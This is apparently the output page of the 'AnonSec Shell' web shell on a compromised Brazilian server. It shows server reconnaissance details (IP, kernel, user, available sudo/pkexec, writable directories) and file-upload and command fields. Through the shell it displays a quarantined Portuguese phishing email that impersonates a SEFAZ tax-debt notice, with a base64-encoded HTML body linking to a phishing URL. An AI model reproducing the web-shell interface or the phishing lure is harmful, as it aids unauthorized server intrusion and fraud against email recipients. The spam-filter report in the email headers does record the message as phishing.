AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.252
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/././././mail/.spam/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME ]     

Current File : /home/lrsys/././././mail/.spam/new/1740763311.M461948P22920.dedi-4363141.lrsys.com.br,S=8576,W=8723
Return-Path: <notificacao98@dfaz647.estrategia.coupons>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
	by dedi-4363141.lrsys.com.br with LMTP
	id SCU7G6/wwWeIWQAAIWsJAg
	(envelope-from <notificacao98@dfaz647.estrategia.coupons>)
	for <lrsys+spam@dedi-4363141.lrsys.com.br>; Fri, 28 Feb 2025 14:21:51 -0300
Return-path: <notificacao98@dfaz647.estrategia.coupons>
Envelope-to: info@lrsys.com.br
Delivery-date: Fri, 28 Feb 2025 14:21:51 -0300
Received: from dfaz647.estrategia.coupons ([5.161.44.192]:52704)
	by dedi-4363141.lrsys.com.br with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.96.2)
	(envelope-from <notificacao98@dfaz647.estrategia.coupons>)
	id 1to43X-00060m-0k
	for info@lrsys.com.br;
	Fri, 28 Feb 2025 14:21:51 -0300
Received: from dfaz647.estrategia.coupons (localhost [127.0.0.1])
	by dfaz647.estrategia.coupons (Postfix) with ESMTP id 9B4A722DC1
	for <info@lrsys.com.br>; Fri, 28 Feb 2025 14:21:04 -0300 (-03)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
	d=dfaz647.estrategia.coupons; s=default; t=1740763264;
	bh=xlMW/dEsutzH76vT/27Pn0HlKCUanCSX0YuOijrINpE=;
	h=From:To:Reply-To:Date:Subject:From;
	b=wSVAy07RXnYxf63yyT9mWMtAgMxlwsJE+3nIxcRGRYpctVi9+r/4tRSoCpJl+VF0Q
	 UpcYE+bcdnBtQMezALcM8ZMc8PrJqz7ktgeHBk/Pt+N+vD2N2UtXmgAUVwoeC4SmJ4
	 BZcZN6bbrfNAeJ8N9WogfKsA+R0OUMvTdRkgjO4gyeukk7ggebMmT/n3oRmoEFMJLR
	 xB2+2v0MiBRaIpmNaOKVkXLGNqwY19rjiC2aEwVeED+8RTRAR30oWVBCV1NDXYjM5i
	 UFkFNYYtI/38qZydpU19Adw6IRBMf/quRlW3Dk/Ybq2FPdQ6ZeEJvc1B5rICRH2sU9
	 9w8hICj9GK08w==
From: "Concordia.14" <notificacao98@dfaz647.estrategia.coupons>
To: info@lrsys.com.br
Content-Type: multipart/alternative; boundary="Q61cUKodlYhC6q8sh9=_snOTuHg6SVhN8k"
MIME-Version: 1.0
Reply-To: mqwfoe1n@dfaz647.estrategia.coupons
Date: Fri, 28 Feb 2025 14:21:04 -0300
Message-Id: <20250228172104.9B4A722DC1@dfaz647.estrategia.coupons>
X-Spam-Status: Yes, score=9.4
X-Spam-Score: 94
X-Spam-Bar: +++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  An HTML viewer is required to see this message Prezado(a),info@lrsys.com.br
    Confirmamos o recebimento do protocolo 375034 referente à Baixa de Débitos.
    O documento foi registrado com sucesso pela SEFAZ-DFAZ-CTDA - Tributação
    e Dívida Ativa na data de 28/02/2025. 
 Content analysis details:   (9.4 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: hvvc.us]
  2.5 URIBL_DBL_PHISH        Contains a Phishing URL listed in the Spamhaus
                             DBL blocklist
                             [URIs: estrategia.coupons]
  5.0 BAYES_99               BODY: Bayes spam probability is 99 to 100%
                             [score: 1.0000]
  1.0 BAYES_999              BODY: Bayes spam probability is 99.9 to 100%
                             [score: 1.0000]
  0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
                             The query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.44.192 listed in sa-accredit.habeas.com]
  0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
                             query to Validity was blocked.  See
                             https://knowledge.validity.com/hc/en-us/articles/20961730681243
                              for more information.
                             [5.161.44.192 listed in bl.score.senderscore.com]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
  0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or
                             identical to background
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.8 MPART_ALT_DIFF         BODY: HTML and text parts are different
 -0.1 DKIM_VALID_AU          Message has a valid DKIM or DK signature from
                             author's domain
  0.1 DKIM_SIGNED            Message has a DKIM or DK signature, not necessarily
                             valid
 -0.1 DKIM_VALID             Message has at least one valid DKIM or DK signature
  0.2 FROM_FMBLA_NEWDOM14    From domain was registered in last 7-14 days
X-Spam-Flag: YES
Subject:  ***SPAM***  591201857 - Protocolo 375034 - SEFAZ Confirma Recebimento

This is a multi-part message in MIME format

--Q61cUKodlYhC6q8sh9=_snOTuHg6SVhN8k
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

An HTML viewer is required to see this message

--Q61cUKodlYhC6q8sh9=_snOTuHg6SVhN8k
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InB0LXB0Ij4KPGhlYWQ+CiAgICA8bWV0YSBjaGFy
c2V0PSJ1dGYtOCI+CjwvaGVhZD4KPGJvZHkgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgc2Fu
cy1zZXJpZjsgYmFja2dyb3VuZC1jb2xvcjogI2Y0ZjRmNDsgcGFkZGluZzogMjBweDsgdGV4dC1h
bGlnbjogY2VudGVyOyI+CiAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiIHN0eWxlPSJtYXgtd2lk
dGg6IDYwMHB4OyBtYXJnaW46IGF1dG87IGJhY2tncm91bmQ6ICNmZmZmZmY7IHBhZGRpbmc6IDI3
cHg7IGJvcmRlci1yYWRpdXM6IDhweDsgYm94LXNoYWRvdzogMCAwIDE3cHggcmdiYSgwLCAwLCAw
LCAwLjYpOyI+CiAgCiAgICAgICAgPHRhYmxlIHN0eWxlPSJ3aWR0aDogMTAwJTsgZm9udC1mYW1p
bHk6ICdIZWx2ZXRpY2EgTmV1ZScsIEhlbHZldGljYSwgQXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQt
c2l6ZTogMTRweDsgYmFja2dyb3VuZDogI2ZmZmZmZjsgYm9yZGVyLXJhZGl1czogNXB4OyI+CiAg
ICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAg
ICA8dGQgc3R5bGU9InBhZGRpbmc6IDIwcHg7IHRleHQtYWxpZ246IGxlZnQ7IGNvbG9yOiAjMDAw
MDA5OyI+CiAgICAgICAgICAgICAgICAgICAgICAgIFByZXphZG8oYSksPHNwYW4gc3R5bGU9InBh
ZGRpbmc6IDBweDsgdGV4dC1hbGlnbjogbGVmdDsgY29sb3I6ICNGRjAwMDA7Ij5pbmZvQGxyc3lz
LmNvbS5icjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPHA+Q29uZmlybWFtb3MgbyBy
ZWNlYmltZW50byBkbyBwcm90b2NvbG8gPHN0cm9uZz4zNzUwMzQ8L3N0cm9uZz4gcmVmZXJlbnRl
ICYjMjI0OyA8c3Ryb25nPkJhaXhhIGRlIEQmIzIzMztiaXRvczwvc3Ryb25nPi4gTyBkb2N1bWVu
dG8gZm9pIHJlZ2lzdHJhZG8gY29tIHN1Y2Vzc28gcGVsYSA8c3Ryb25nPlNFRkFaLURGQVotQ1RE
QSAtIFRyaWJ1dGEmIzIzMTsmIzIyNztvIGUgRCYjMjM3O3ZpZGEgQXRpdmE8L3N0cm9uZz4gbmEg
ZGF0YSBkZSA8c3Ryb25nPjI4LzAyLzIwMjU8L3N0cm9uZz4uPC9wPgoKICAgICAgICAgICAgICAg
ICAgICAgICAgPHA+UGFyYSBhY29tcGFuaGFyIG8gYW5kYW1lbnRvIGRvIHNldSBwcm9jZXNzbywg
YWNlc3NlIG8gZG9jdW1lbnRvIGFiYWl4bzo8L3A+CgogICAgICAgICAgICAgICAgICAgICAgICA8
ZGl2IHN0eWxlPSJtYXJnaW46IDIwcHggMDsgdGV4dC1hbGlnbjogY2VudGVyOyI+CiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJoVFRwUzovLzc0LTUwLTEyNy00OS5zdGF0aWMu
aHZ2Yy51cy9FMTVJZ3FoL0RSMXAxUXVoNlFpUjFPNi9mNTZMRW1HdTlBN1ZUZDVPZGtlaVNCbmEv
MTY0OTc1X1JlY2ViaW1lbnRvX19aWk0iIHRhcmdldD0iX2JsYW5rIiByZWw9Im5vcmVmZXJyZXIi
ICBkYXRhLWF1dGg9Ik5vdEFwcGxpY2FibGUiIHN0eWxlPSJmb250LXNpemU6IDE0cHg7IGNvbG9y
OiAjZmZmOyB0ZXh0LWRlY29yYXRpb246IG5vbmU7IGZvbnQtd2VpZ2h0OiBib2xkOyB0ZXh0LWFs
aWduOiBjZW50ZXI7IGRpc3BsYXk6IGlubGluZS1ibG9jazsgYm9yZGVyLXJhZGl1czogNHB4OyBi
YWNrZ3JvdW5kOiAjMTQ0MzExOyBwYWRkaW5nOiAxMHB4IDIwcHg7Ij4KICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICBBY29tcGFuaGFyIFByb2Nlc3NvCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAg
ICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiAjMDAwMDAyOyBmb250LXNpemU6IDEycHg7IHRl
eHQtYWxpZ246IGNlbnRlcjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGVtPkVzdGEg
bWVuc2FnZW0gZm9pIGdlcmFkYSBhdXRvbWF0aWNhbWVudGUuIENhc28gdGVuaGEgZCYjMjUwO3Zp
ZGFzLCBlbnRyZSBlbSBjb250YXRvIGNvbSBub3NzbyBzdXBvcnRlLjwvZW0+CiAgICAgICAgICAg
ICAgICAgICAgICAgIDwvcD4KCiAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJjb2xv
cjogIzAwMDAwOTsgZm9udC1zaXplOiAxMnB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7Ij4KICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIDxlbT5FbnZpYWRvICYjMjI0O3MgMTQ6MjE6MDQ8L2VtPgog
ICAgICAgICAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAg
ICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgPC90YWJsZT4K
ICAgIDwvZGl2PgoKPC9ib2R5PgoKPC9odG1sPgo=

--Q61cUKodlYhC6q8sh9=_snOTuHg6SVhN8k--

Anon7 - 2022
AnonSec Team